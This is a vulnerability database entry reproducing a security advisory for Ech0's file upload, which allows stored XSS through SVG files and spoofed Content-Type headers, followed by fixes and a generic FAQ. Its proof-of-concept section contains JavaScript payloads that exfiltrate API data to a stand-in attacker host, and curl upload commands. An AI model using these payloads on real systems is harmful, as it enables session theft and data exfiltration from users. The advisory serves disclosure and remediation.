Vulnerability Database

353,412

Total vulnerabilities in the database

Ech0 has Stored XSS via SVG Upload and Content-Type Validation Bypass in File Upload — github.com/lin-snow/ech0

Unrestricted Upload of File with Dangerous Type

Summary

The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, image/svg+xml is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.

Details

The upload handler at internal/service/file/file.go:85-87 validates file type using only the multipart Content-Type header:

contentType := file.Header.Get("Content-Type") // client-controlled if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) { return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED) }

isAllowedType at file.go:836-843 performs exact string matching — no magic byte detection, no extension validation:

func isAllowedType(contentType string, allowedTypes []string) bool { for _, allowed := range allowedTypes { if contentType == allowed { return true } } return false }

The original file extension is preserved in the storage key by RandomKeyGenerator at internal/storage/keygen.go:41:

ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))

All locally stored files are served publicly without authentication at internal/router/modules.go:51:

ctx.Engine.Static("api/files", root)

This gin.Static call is registered directly on the engine, outside any authentication middleware group. Go's http.ServeFile (used internally by gin.Static) determines the response Content-Type using mime.TypeByExtension, so .html files are served as text/html and .svg files as image/svg+xml.

No X-Content-Type-Options: nosniff or Content-Security-Policy headers are set (verified in internal/router/middleware.go).

Variant 1 — SVG XSS (no spoofing needed): image/svg+xml is in the default AllowedTypes at internal/config/config.go:241. SVG files can contain <script> tags and event handlers. The VireFS schema routes .svg to images/ (internal/storage/schema.go:10). Uploaded SVGs are publicly accessible at /api/files/images/<key>.svg and JavaScript within them executes in the application's origin.

Variant 2 — Content-Type spoofing: Upload an .html file with a forged multipart Content-Type: image/jpeg. The allowlist check passes (image/jpeg is allowed). The .html extension is preserved. The VireFS schema routes unknown extensions to files/ (schema.go:14). The file is served at /api/files/files/<key>.html as text/html.

PoC

Variant 1 — SVG XSS (simplest, default config):

# 1. Create SVG with embedded JavaScript cat > evil.svg << 'SVGEOF' <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"> <script> // Steal cookies and redirect to attacker fetch('/api/echo/page') .then(r => r.json()) .then(d => { new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d)); }); </script> <circle cx="50" cy="50" r="40" fill="red"/> </svg> SVGEOF # 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed) curl -X POST http://target:1024/api/files/upload \ -H 'Authorization: Bearer <admin-jwt>' \ -F '[email protected];type=image/svg+xml' \ -F 'category=image' \ -F 'storage_type=local' # Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg # 3. Access without authentication — JavaScript executes in application origin: # GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg

Variant 2 — Content-Type bypass with HTML:

# 1. Create HTML with JavaScript cat > evil.html << 'HTMLEOF' <html><body> <script> document.write('<h1>XSS in ' + document.domain + '</h1>'); // Exfiltrate data from same-origin API fetch('/api/echo/page').then(r=>r.json()).then(d=>{ new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d)); }); </script> </body></html> HTMLEOF # 2. Upload with spoofed Content-Type curl -X POST http://target:1024/api/files/upload \ -H 'Authorization: Bearer <admin-jwt>' \ -F '[email protected];type=image/jpeg' \ -F 'category=image' \ -F 'storage_type=local' # 3. Access without authentication — renders as text/html: # GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html

Impact

  • Stored XSS in the application origin: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly.
  • Session hijacking: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens.
  • Persistent backdoor: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated.
  • Data exfiltration: JavaScript running in the application origin can call internal API endpoints (e.g., /api/echo/page) and exfiltrate application data.
  • Social engineering vector: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised.

The admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise.

1. Validate Content-Type server-side using magic bytes (internal/service/file/file.go):

import "net/http" // Replace client-controlled Content-Type with server-detected type func detectContentType(file multipart.File) (string, error) { buf := make([]byte, 512) n, err := file.Read(buf) if err != nil && err != io.EOF { return "", err } if _, err := file.Seek(0, io.SeekStart); err != nil { return "", err } return http.DetectContentType(buf[:n]), nil }

2. Remove image/svg+xml from default AllowedTypes or sanitize SVGs to strip <script> tags and event handlers before storage.

3. Add security headers in internal/router/middleware.go:

func SecurityHeaders() gin.HandlerFunc { return func(c *gin.Context) { c.Header("X-Content-Type-Options", "nosniff") c.Header("Content-Security-Policy", "default-src 'self'; script-src 'self'") c.Next() } }

4. Serve uploaded files with Content-Disposition: attachment or from a separate origin/subdomain to isolate them from the application's cookie scope.

  • Published: Apr 10, 2026
  • Updated: Apr 11, 2026
  • GHSA: GHSA-69hx-63pv-f8f4
  • Severity: Medium
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: Low
  • Score: 4.8
  • AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

CWEs:

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.